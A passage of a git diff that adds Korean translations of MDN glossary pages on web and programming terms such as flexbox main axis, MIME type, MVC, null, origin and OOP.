+++ b/files/ko/glossary/main_axis/index.html
@@ -0,0 +1,50 @@
+---
+title: 주축
+slug: Glossary/Main_Axis
+tags:
+  - CSS
+  - Glossary
+  - flexbox
+translation_of: Glossary/Main_Axis
+---
+<p>{{glossary("flexbox", "플렉스박스")}}에서, <strong>주축</strong>이란 {{cssxref("flex-direction")}} 속성이 지정한 방향과 수평한 축입니다. <code>flex-direction</code>은 다음과 같은 네 가지 방향이 가능합니다.</p>
+
+<ul>
+ <li><code>row</code></li>
+ <li><code>row-reverse</code></li>
+ <li><code>column</code></li>
+ <li><code>column-reverse</code></li>
+</ul>
+
+<p><code>row</code> 또는 <code>row-reverse</code>를 선택한 경우, 주축은 행을 따라 인라인 방향으로 진행합니다.</p>
+
+<p><img alt="In this image the flex-direction is row which forms the main axis" src="https://mdn.mozillademos.org/files/15708/Basics1.png" style="display: block; height: 152px; margin: 0px auto; width: 522px;"></p>
+
+<p><code>column</code> 또는 <code>column-reverse</code>인 경우, 주축은 페이지의 위에서 아래, 블록 방향으로 진행합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15709/Basics2.png" style="display: block; height: 227px; margin: 0px auto; width: 709px;"></p>
+
+<p>아이템의 <code>flex</code> 속성을 통하면, 컨테이너의 사용 가능한 공간을 그 아이템에 더 할당하는 방식으로 주축 방향 크기를 키울 수 있습니다. 아니면 <code>justify-content</code> 속성을 사용해 아이템 사이와 주위 여백을 조절할 수 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="속성_참고서">속성 참고서</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("flex")}}</li>
+</ul>
+</div>
+
+<h3 id="더_읽어보기">더 읽어보기</h3>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+</ul>
diff --git a/files/ko/glossary/metadata/index.html b/files/ko/glossary/metadata/index.html
new file mode 100644
index 0000000000..1f5f7272b3
--- /dev/null
+++ b/files/ko/glossary/metadata/index.html
@@ -0,0 +1,25 @@
+---
+title: 메타데이터
+slug: Glossary/Metadata
+tags:
+  - CodingScripting
+  - Glossary
+  - HTML
+  - metadata
+translation_of: Glossary/Metadata
+---
+<p><strong>메타데이터</strong>의 가장 단순한 정의는 데이터를 설명하는 데이터입니다. 예를 들어 {{glossary("HTML")}}은 데이터입니다. 그리고 HTML의 {{htmlelement("head")}} 안에는 문서 작성자나 문서 요약과 같이 문서를 설명하는 데이터, 즉 메타데이터를 넣을 수 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{interwiki("wikipedia", "메타데이터")}}</li>
+</ul>
+
+<h3 id="HTML_메타데이터">HTML 메타데이터</h3>
+
+<ul>
+ <li>MDN의 {{htmlelement("meta")}} 요소 문서</li>
+</ul>
diff --git a/files/ko/glossary/method/index.html b/files/ko/glossary/method/index.html
new file mode 100644
index 0000000000..d994f9b1ae
--- /dev/null
+++ b/files/ko/glossary/method/index.html
@@ -0,0 +1,40 @@
+---
+title: Method
+slug: Glossary/Method
+translation_of: Glossary/Method
+---
+<p>메소드(<strong>method)</strong>는 {{glossary("object","객체")}}의 {{glossary("property", "속성")}}인 {{glossary("function", "함수")}}이다. 두 가지 종류의 메소드가 있다. 객체 인스턴스에 의해 수행되는 태스크에 내장된 인스턴스 메소드 또는 오브젝트 생성자에서 직접 호출되는 태스크인 <em>{{Glossary("static method", "정적 메소드")}}</em>가 여기에 해당된다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 자바스크립트 함수에서 그 자체는 객체이므로, 그런 맥락에서 메소드는 실제로 함수에 대한 객체 {{glossary("object reference", "참조")}}인 것이다.</p>
+</div>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="이것에_대해_알아보기">이것에 대해 알아보기</h3>
+
+<ul>
+ <li>Wikipedia의 {{InterWiki("wikipedia","Method (computer programming)")}} </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">JavaScrip에서 메소드의 정의</a> (comparison of the traditional syntax and the new shorthand)</li>
+</ul>
+
+<h3 id="기술적_참조">기술적 참조</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Methods_Index">List of JavaScript built-in methods</a></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ul>
+ <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
+
+  <ul>
+   <li>{{Glossary("function")}}</li>
+   <li>{{Glossary("object")}}</li>
+   <li>{{Glossary("property")}}</li>
+   <li>{{Glossary("static method")}}</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">Defining a method in JavaScript</a></li>
+</ul>
+</section>
diff --git a/files/ko/glossary/microsoft_edge/index.html b/files/ko/glossary/microsoft_edge/index.html
new file mode 100644
index 0000000000..5b5dfedc7a
--- /dev/null
+++ b/files/ko/glossary/microsoft_edge/index.html
@@ -0,0 +1,18 @@
+---
+title: Microsoft Edge
+slug: Glossary/Microsoft_Edge
+tags:
+  - Browser
+  - Glossary
+  - Infrastructure
+  - 마이크로소프트
+  - 엣지
+translation_of: Glossary/Microsoft_Edge
+---
+<p><span class="seoSummary"><strong>Microsoft Edge</strong>는 Microsoft Windows에 포함되어 제공되는 무료 그래픽 {{glossary("world wide web", "웹")}} {{Glossary("browser","브라우저")}}입니다.</span> Microsoft 는 오랜 기간 사용했던 {{glossary("Microsoft Internet Explorer")}}를 대체하기 위해, 2014년부터 초기 코드명 스파르탄, 즉 Edge를 개발했습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li><a href="https://www.microsoft.com/edge">공식 웹 사이트</a></li>
+</ul>
diff --git a/files/ko/glossary/microsoft_internet_explorer/index.html b/files/ko/glossary/microsoft_internet_explorer/index.html
new file mode 100644
index 0000000000..e1c46529bd
--- /dev/null
+++ b/files/ko/glossary/microsoft_internet_explorer/index.html
@@ -0,0 +1,37 @@
+---
+title: Microsoft Internet Explorer
+slug: Glossary/Microsoft_Internet_Explorer
+translation_of: Glossary/Microsoft_Internet_Explorer
+---
+<p>Internet Explorer (또는 IE)는 Microsoft에서 레거시 엔터프라이즈 사용을 위해 유지 관리하는 무료 그래픽 {{glossary ( "browser")}}이다. {{glossary ( "Microsoft Edge")}}는 현재 기본 Windows 브라우저이다.</p>
+
+<p>Microsoft는 1995 년 "Microsoft Plus!"라는 패키지의 일부로 IE를 Windows와 함께 번들로 제공했습니다. 2002 년 무렵, Internet Explorer는 전 세계에서 가장 많이 사용되는 브라우저가되었지만 이후 Chrome, Firefox, Edge 및 Safari에 의해 기반을 잃었습니다.</p>
+
+<p>IE는 많은 릴리즈를 거쳤으며 현재 데스크탑, 모바일 및 Xbox Console 버전을 사용할 수 있는 버전 11.0.12을 출시했다. 마이크로소프트는 2003년과 2001년에 각각 이전에 Mac과 UNIX에서 사용되었던 버전을 중단했다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식" style="line-height: 24px; font-size: 1.71428571428571rem;">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{interwiki("wikipedia", "Internet Explorer", "Internet Explorer")}}</li>
+ <li>Wikipedia의 {{interwiki("wikipedia", "History of Internet Explorer", "History of Internet Explorer")}} </li>
+ <li>Wikipedia의 {{interwiki("wikipedia", "Internet Explorer versions", "Internet Explorer versions")}} </li>
+</ul>
+
+<h3 id="Internet_Explorer_에_대해_알아보기" style="line-height: 24px; font-size: 1.71428571428571rem;">Internet Explorer 에 대해 알아보기</h3>
+
+<ul>
+ <li><a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">http://windows.microsoft.com/en-us/internet-explorer/download-ie</a></li>
+ <li><a href="http://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9">http://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9</a></li>
+ <li><a href="http://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help">http://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help</a></li>
+ <li><a href="http://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11">http://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11</a></li>
+</ul>
+
+<h3 id="기술적_참조" style="line-height: 24px; font-size: 1.71428571428571rem;">기술적 참조</h3>
+
+<ul>
+ <li><a href="http://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements">http://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements</a></li>
+ <li><a href="http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements">http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements</a></li>
+ <li><a href="http://support.microsoft.com/kb/969393">http://support.microsoft.com/kb/969393</a></li>
+</ul>
diff --git a/files/ko/glossary/mime_type/index.html b/files/ko/glossary/mime_type/index.html
new file mode 100644
index 0000000000..1aca1e359e
--- /dev/null
+++ b/files/ko/glossary/mime_type/index.html
@@ -0,0 +1,27 @@
+---
+title: MIME type
+slug: Glossary/MIME_type
+tags:
+  - WebMechanics
+  - 용어 해설
+translation_of: Glossary/MIME_type
+---
+<p>과거에는 <strong>MIME type</strong>으로 불렸지만 지금은 "media type"으로 사용한다. 때때로는  "content type"이라고도 불리기도 한다. <strong>MIME type</strong>은 파일의 형식을 나타내는 문자열로 파일과 같이 송신되는데 content의 형식을 나타내기 위해 사용한다. 예를 들면 오디오 파일은 audio/ogg로 그림 파일은  image/png로 분류할 수 있다.</p>
+
+<p>윈도우에서 사용하는 파일 확장자와 동일한 역할을 한다. <strong>MIME type</strong>이라는 명칭은 이메일에서 사용된 <a href="/en-US/docs/Glossary/mime">MIME</a> standard에서 유래 됐다.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Internet media type", "Internet media type")}} on Wikipedia</li>
+</ul>
+
+<h3 id="기술적인_참고">기술적인 참고</h3>
+
+<ul>
+ <li><a href="http://www.iana.org/assignments/media-types/media-types.xhtml">MIME type의 종류</a></li>
+ <li><a href="/en-US/docs/Properly_Configuring_Server_MIME_Types">서버 MIME Type을 적절하게 설정하는 방법</a></li>
+ <li>Web context에서 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME Types</a>을 사용하기 위한 자세한 방법</li>
+</ul>
diff --git a/files/ko/glossary/mozilla_firefox/index.html b/files/ko/glossary/mozilla_firefox/index.html
new file mode 100644
index 0000000000..696039c2cf
--- /dev/null
+++ b/files/ko/glossary/mozilla_firefox/index.html
@@ -0,0 +1,29 @@
+---
+title: Mozilla Firefox
+slug: Glossary/Mozilla_Firefox
+tags:
+  - Browser
+  - Firefox
+  - Glossary
+  - Infrastructure
+  - Mozilla
+  - 파이어폭스
+translation_of: Glossary/Mozilla_Firefox
+---
+<p><span class="seoSummary"><strong>Mozilla Firefox</strong>는 Mozilla Corporation에서 개발을 감독하는 무료 오픈 소스 </span><span style="line-height: 1.5;"><span class="seoSummary">{{Glossary("browser","브라우저")}}입니다.</span> Firefox는 Windows, OS X, Linux, Android에서 구동할 수 있습니다.</span></p>
+
+<p><span style="line-height: 1.5;">2004년 11월에 처음 출시된 Firefox는 테마, 플러그인, <a href="/ko/docs/Mozilla/Add-ons">애드온</a> 등의 기능을 통해 사용자에게 철저히 맞출 수 있습니다. Firefox는 {{glossary("Gecko")}}를 사용해 웹 페이지를 렌더링 하고, 현재는 물론 곧 다가올 {{glossary("world wide web", "Web")}} 표준을 구현합니다.</span></p>
+
+<h2 id="더_알아보기"><span style="line-height: 1.5;">더 알아보기</span></h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="https://www.mozilla.org/firefox">공식 웹 사이트</a></li>
+</ul>
+
+<h3 id="기술적_참고서">기술적 참고서</h3>
+
+<ul>
+ <li>MDN <a href="/ko/docs/Mozilla/Firefox">Firefox 개발자 문서</a></li>
+</ul>
diff --git a/files/ko/glossary/mvc/index.html b/files/ko/glossary/mvc/index.html
new file mode 100644
index 0000000000..64b3a40e9d
--- /dev/null
+++ b/files/ko/glossary/mvc/index.html
@@ -0,0 +1,62 @@
+---
+title: MVC
+slug: Glossary/MVC
+tags:
+  - MVC
+  - 개요
+  - 모델 뷰 컨트롤러
+  - 용어
+  - 하부구조
+translation_of: Glossary/MVC
+---
+<p><strong>MVC</strong> (모델-뷰-컨트롤러) 는 사용자 인터페이스, 데이터 및 논리 제어를 구현하는데 널리 사용되는 소프트웨어 디자인 패턴입니다. 소프트웨어의 비즈니스 로직과 화면을 구분하는데 중점을 두고 있습니다. 이러한 "관심사 분리" 는 더나은 업무의 분리와 향상된 관리를 제공합니다. MVC 에 기반을 둔 몇 가지 다른 디자인 패턴으로 MVVM (모델-뷰-뷰모델), MVP (모델-뷰-프리젠터), MVW (모델-뷰-왓에버) 가 있습니다.</p>
+
+<p>MVC 소프트웨어 디자인 패턴의 세 가지 부분은 다음과 같이 설명할 수 있습니다.</p>
+
+<ol>
+ <li>모델: 데이터와 비즈니스 로직을 관리합니다.</li>
+ <li>뷰: 레이아웃과 화면을 처리합니다.</li>
+ <li>컨트롤러: 명령을 모델과 뷰 부분으로 라우팅합니다.</li>
+</ol>
+
+<h2 id="모델_뷰_컨트롤러_예시">모델 뷰 컨트롤러 예시</h2>
+
+<p>간단한 쇼핑 리스트 앱이 있다고 상상해봅시다. 우리가 원하는 것은 이번 주에 사야할 각 항목의 이름, 개수, 가격의 목록입니다. MVC 를 사용해 이 기능의 일부를 구현하는 방법을 아래에서 설명할 것입니다.</p>
+
+<p><img alt="Diagram to show the different parts of the mvc architecture." src="https://mdn.mozillademos.org/files/16042/model-view-controller-light-blue.png" style="height: 1500px; width: 2000px;"></p>
+
+<h3 id="모델">모델</h3>
+
+<p>모델은 앱이 포함해야할 데이터가 무엇인지를 정의합니다. 데이터의 상태가 변경되면 모델을 일반적으로 뷰에게 알리며(따라서 필요한대로 화면을 변경할 수 있습니다) 가끔 컨트롤러에게 알리기도 합니다(업데이트된 뷰를 제거하기 위해 다른 로직이 필요한 경우).</p>
+
+<p>다시 쇼핑 리스트 앱으로 돌아가서, 모델은 리스트 항목이 포함해야 하는 데이터 — 품목, 가격, 등. — 와 이미 존재하는 리스트 항목이 무엇인지를 지정합니다.</p>
+
+<h3 id="뷰">뷰</h3>
+
+<p>뷰는 앱의 데이터를 보여주는 방식을 정의합니다.</p>
+
+<p>쇼핑 리스트 앱에서, 뷰는 항목이 사용자게에 보여지는 방식을 정의하며, 표시할 데이터를 모델로부터 받습니다.</p>
+
+<h3 id="컨트롤러">컨트롤러</h3>
+
+<p>컨트롤러는 앱의 사용자로부터의 입력에 대한 응답으로 모델 및/또는 뷰를 업데이트하는 로직을 포함합니다.</p>
+
+<p>예를 들어보면, 쇼핑 리스트는 항목을 추가하거나 제거할 수 있게 해주는 입력 폼과 버튼을 갖습니다. 이러한 액션들은 모델이 업데이트되는 것이므로 입력이 컨트롤러에게 전송되고, 모델을 적당하게 처리한다음, 업데이트된 데이터를 뷰로 전송합니다.</p>
+
+<p>단순히 데이터를 다른 형태로 나타내기 위해 뷰를 업데이트하고 싶을 수도 있습니다(예를 들면, 항목을 알파벳순서로 정렬한다거나, 가격이 낮은 순서 또는 높은 순서로 정렬). 이런 경우에 컨트롤러는 모델을 업데이트할 필요 없이 바로 처리할 수 있습니다.</p>
+
+<h2 id="웹에서의_MVC">웹에서의 MVC</h2>
+
+<p>웹 개발자로써, 여러분이 이 패턴을 이전에 의식적으로 사용한 적이 없더라도 아마 상당히 친숙할것입니다. 여러분의 데이터 모델은 아마 어떤 종류의 데이터베이스에 포함되어있었을 것입니다(MySQL 과 같은 전통적인 서버 사이드 데이터베이스, 또는 <a href="/ko/docs/Web/API/IndexedDB_API">IndexedDB</a> 같은 클라이언트 사이드 솔루션). 여러분의 앱의 제어 코드는 아마 HTML/JavaScript 로 작성되었을 것이고, 사용자 인터페이스는 HTML/CSS 등 여러분이 선호하는 것들로 작성되었을 것입니다. 이는 MVC 와 아주 유사하게 들리지만, MVC 는 이러한 컴포넌트들이 더 엄격한 패턴을 따르도록합니다.</p>
+
+<p>웹의 초창기에, MVC 구조는 클라이언트가 폼이나 링크를 통해 업데이트를 요청하거나 업데이트된 뷰를 받아 다시 브라우저에 표시하기 위해 대부분 서버 사이드에서 구현되었습니다. 반면, 요즘에는, 클라이언트 사이드 데이터 저장소의 출현과 필요에 따라 페이지의 일부만 업데이트를 허용하는 XMLHttpRequest 를 포함해 더 많은 로직이 클라이언트 사이드에 추가되었습니다.</p>
+
+<p><a href="http://en.wikipedia.org/wiki/AngularJS" title="AngularJS">AngularJS</a> 및 <a href="http://en.wikipedia.org/wiki/Ember.js" title="Ember.js">Ember.js</a> 와 같은 웹 프레임워크들은 약간씩은 방식이 다르지만, 모두 MVC 구조를 구현합니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Model–view–controller")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/node.js/index.html b/files/ko/glossary/node.js/index.html
new file mode 100644
index 0000000000..fef01ca0fc
--- /dev/null
+++ b/files/ko/glossary/node.js/index.html
@@ -0,0 +1,29 @@
+---
+title: Node.js
+slug: Glossary/Node.js
+tags:
+  - Glossary
+  - Infrastructure
+  - JavaScript
+  - node.js
+translation_of: Glossary/Node.js
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><strong>Node.js</strong>는 개발자가 서버 측과 네트워크 응용 프로그램을 만들 수 있도록 지원하는 크로스 플랫폼 {{Glossary("JavaScript")}} 런타임 환경입니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{Interwiki("wikipedia", "Node.js")}}</li>
+ <li><a href="https://nodejs.org/">Node.js 웹사이트</a></li>
+</ul>
+
+<h3 id="기술_정보">기술 정보</h3>
+
+<ul>
+ <li><a href="https://nodejs.org/api/">API 참조 문서</a></li>
+ <li><a href="https://nodejs.org/documentation/tutorials/">자습서</a></li>
+</ul>
diff --git a/files/ko/glossary/null/index.html b/files/ko/glossary/null/index.html
new file mode 100644
index 0000000000..bbf1e8f80e
--- /dev/null
+++ b/files/ko/glossary/null/index.html
@@ -0,0 +1,38 @@
+---
+title: 'Null'
+slug: Glossary/Null
+tags:
+  - CodingScripting
+  - Glossary
+  - JavaScript
+  - Types
+translation_of: Glossary/Null
+---
+<p>컴퓨터 과학에서 <code>null</code> 값은 일반적으로 존재하지 않거나 유효하지 않은 {{glossary ("object")}} 또는 주소를 의도적으로 가리키는 참조를 나타냅니다. null 참조의 의미는 언어의 구현에 따라 다양하다.</p>
+
+<p><code>null</code>은 동작이 원시적으로 보이기 때문에 {{Glossary ( "Primitive", "primitive values")}} 중 하나로 표시됩니다.</p>
+
+<p>그러나 특정 경우에, <code>null</code> 은 처음 봤던것 만큼 "원시적"이지 않다. 모든 객체는 <code>null</code> 값으로 부터 파생되며 따라서 <code>typeof</code> 연산자는 아래의 코드에서 <code>object</code>를 반환한다.</p>
+
+<pre class="brush: js notranslate">typeof null === 'object' // true</pre>
+
+<section class="Quick_links" id="Quick_Links">
+<ul>
+ <li><strong><a href="/en-US/docs/Glossary">Glossary</a></strong>
+
+  <ul>
+   <li>{{Glossary("JavaScript")}}</li>
+   <li>{{Glossary("string")}}</li>
+   <li>{{Glossary("number")}}</li>
+   <li>{{Glossary("bigint")}}</li>
+   <li>{{Glossary("boolean")}}</li>
+   <li>{{Glossary("null")}}</li>
+   <li>{{Glossary("undefined")}}</li>
+   <li>{{Glossary("symbol")}}</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">JavaScript data types</a></li>
+ <li>The JavaScript global object: {{jsxref("null")}}</li>
+ <li>{{Interwiki("wikipedia", "Null pointer")}} on Wikipedia</li>
+</ul>
+</section>
diff --git a/files/ko/glossary/object/index.html b/files/ko/glossary/object/index.html
new file mode 100644
index 0000000000..61bbe87b83
--- /dev/null
+++ b/files/ko/glossary/object/index.html
@@ -0,0 +1,16 @@
+---
+title: Object
+slug: Glossary/Object
+translation_of: Glossary/Object
+---
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">객체</a>는 데이터 및 데이터 작업에 대한 지침을 포함하는 데이터 구조를 말한다. 객체는 때때로 레이싱 게임에서 <code>car</code> 나 <code>map</code> 과 같은 실생활에서의 것들을 지칭할 수 있다. {{glossary("JavaScript")}}, Java, C++, Python, and Ruby 는 {{glossary("OOP","객체 지향적 프로그래밍")}} 언어의 예이다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Object-oriented programming")}} </li>
+ <li>{{jsxref("Object")}} in the <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript reference</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Objects">Object data structures in JavaScript</a></li>
+</ul>
diff --git a/files/ko/glossary/object_reference/index.html b/files/ko/glossary/object_reference/index.html
new file mode 100644
index 0000000000..30e8171992
--- /dev/null
+++ b/files/ko/glossary/object_reference/index.html
@@ -0,0 +1,16 @@
+---
+title: Object reference
+slug: Glossary/Object_reference
+translation_of: Glossary/Object_reference
+---
+<p><strong>{{glossary("object", "객체")}}</strong>와 연결된 문서. 객체 참조는 연결된 객체와 비슷하게 사용될 수 있다.</p>
+
+<p>둘 이상의 속성에 동일한 객체를 할당할 때 객체 참조의 개념이 명확해진다. 할당된 각 <strong>{{glossary("property", "속성")}}</strong>은 객체의 복사본을 보유하는 대신 동일한 객체에 링크되는 객체 참조를 보유하여 객체가 객체를 참조하는 모든 속성을 변경할 때 변경 내용을 반영하도록 한다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적_지식">일반적 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Reference (computer science)")}} </li>
+</ul>
diff --git a/files/ko/glossary/oop/index.html b/files/ko/glossary/oop/index.html
new file mode 100644
index 0000000000..c4e3cf8d19
--- /dev/null
+++ b/files/ko/glossary/oop/index.html
@@ -0,0 +1,17 @@
+---
+title: OOP
+slug: Glossary/OOP
+translation_of: Glossary/OOP
+---
+<p><strong>OOP </strong>(객체 지향적 프로그래밍) 는 데이터가 <strong>{{glossary("object","객체")}}</strong> 내에 캡슐화되고 구성 요소 부분이 아닌 객체 자체가 운용되는 프로그래밍 방식이다</p>
+
+<p>{{glossary("JavaScript")}} 는 매우 객체 지향적인 언어이다. JavaScript는  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">클래스 기반의 것과는 대조적으로</a> <strong>프로토타입 </strong>기반의 모델을 따른다 .</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia 의 {{Interwiki("wikipedia", "Object-oriented programming")}} </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introduction to object-oriented JavaScript</a></li>
+</ul>
diff --git a/files/ko/glossary/operator/index.html b/files/ko/glossary/operator/index.html
new file mode 100644
index 0000000000..edd79cef9b
--- /dev/null
+++ b/files/ko/glossary/operator/index.html
@@ -0,0 +1,20 @@
+---
+title: Operator
+slug: Glossary/Operator
+translation_of: Glossary/Operator
+---
+<p>연산자는 문장 부호 또는 내장 기능을 수행하는 영어 또는 숫자로 구성된 예약된 <strong>구문</strong>이다. 예를 들어, JavaScript에서 추가 연산자("+")는 숫자를 추가하고 문자열을 연결하며, "not" 연산자("!")는 식을 부정한다 (예를 들어 참 문을 거짓으로 되돌리도록 만든다.).</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Operator (computer programming)")}} </li>
+</ul>
+
+<h3 id="기술적_참조">기술적 참조</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators">JavaScript operators</a></li>
+</ul>
diff --git a/files/ko/glossary/origin/index.html b/files/ko/glossary/origin/index.html
new file mode 100644
index 0000000000..4751422e12
--- /dev/null
+++ b/files/ko/glossary/origin/index.html
@@ -0,0 +1,81 @@
+---
+title: 출처
+slug: Glossary/Origin
+tags:
+  - Glossary
+  - Security
+  - WebMechanics
+translation_of: Glossary/Origin
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><span class="seoSummary">웹 콘텐츠의 <strong>출처</strong>(origin)는 접근할 때 사용하는 {{glossary("URL")}}의 스킴({{glossary("protocol", "프로토콜")}}, 호스트(도메인), 포트로 정의됩니다.</span> 두 객체의 스킴, 호스트, 포트가 모두 일치하는 경우 같은 출처를 가졌다고 말합니다.</p>
+
+<p>일부 작업은 동일 출처 콘텐츠로 제한되나, {{glossary("CORS")}}를 통해 제한을 해제할 수 있습니다.</p>
+
+<h2 id="동일_출처의_예제">동일 출처의 예제</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="width: 50%;"><code>http://example.com/app1/index.html</code><br>
+    <code>http://example.com/app2/index.html</code></td>
+   <td style="width: 50%;">스킴(<code>http</code>)과 호스트(<code>example.com</code>) 일치</td>
+  </tr>
+  <tr>
+   <td style="width: 50%;"><code>http://Example.com:80</code><br>
+    <code>http://example.com</code></td>
+   <td style="width: 50%;">HTTP의 기본 포트는 80이므로 동일한 출처</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="다른_출처의_예제">다른 출처의 예제</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="width: 50%;"><code>http://example.com/app1</code><br>
+    <code>https://example.com/app2</code></td>
+   <td>다른 스킴</td>
+  </tr>
+  <tr>
+   <td style="width: 50%;"><code>http://example.com</code><br>
+    <code>http://www.example.com</code><br>
+    <code>http://myapp.example.com</code></td>
+   <td style="width: 50%;">다른 호스트</td>
+  </tr>
+  <tr>
+   <td style="width: 50%;"><code>http://example.com</code><br>
+    <code>http://example.com:8080</code></td>
+   <td style="width: 50%;">다른 포트</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#origin', 'origin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a></li>
+</ul>
diff --git a/files/ko/glossary/pdf/index.html b/files/ko/glossary/pdf/index.html
new file mode 100644
index 0000000000..770ca451e2
--- /dev/null
+++ b/files/ko/glossary/pdf/index.html
@@ -0,0 +1,14 @@
+---
+title: PDF
+slug: Glossary/PDF
+translation_of: Glossary/PDF
+---
+<p><strong>PDF</strong> (Portable Document Format)는 특정 소프트웨어 구현, 하드웨어 플랫폼 또는 운영 체제에 의존하지 않고 문서를 공유하는 데 사용되는 파일 형식이다. PDF는 인쇄된 문서의 디지털 이미지를 제공하며 인쇄될 때 동일한 형태를 유지한다.</p>
+
+<h2 id="더_알아보기"><strong>더 알아보기</strong></h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Portable Document Format", "PDF")}} </li>
+</ul>
diff --git a/files/ko/glossary/php/index.html b/files/ko/glossary/php/index.html
new file mode 100644
index 0000000000..3be68177aa
--- /dev/null
+++ b/files/ko/glossary/php/index.html
@@ -0,0 +1,19 @@
+---
+title: PHP
+slug: Glossary/PHP
+tags:
+  - CodingScripting
+  - Glossary
+  - Infrastructure
+  - PHP
+translation_of: Glossary/PHP
+---
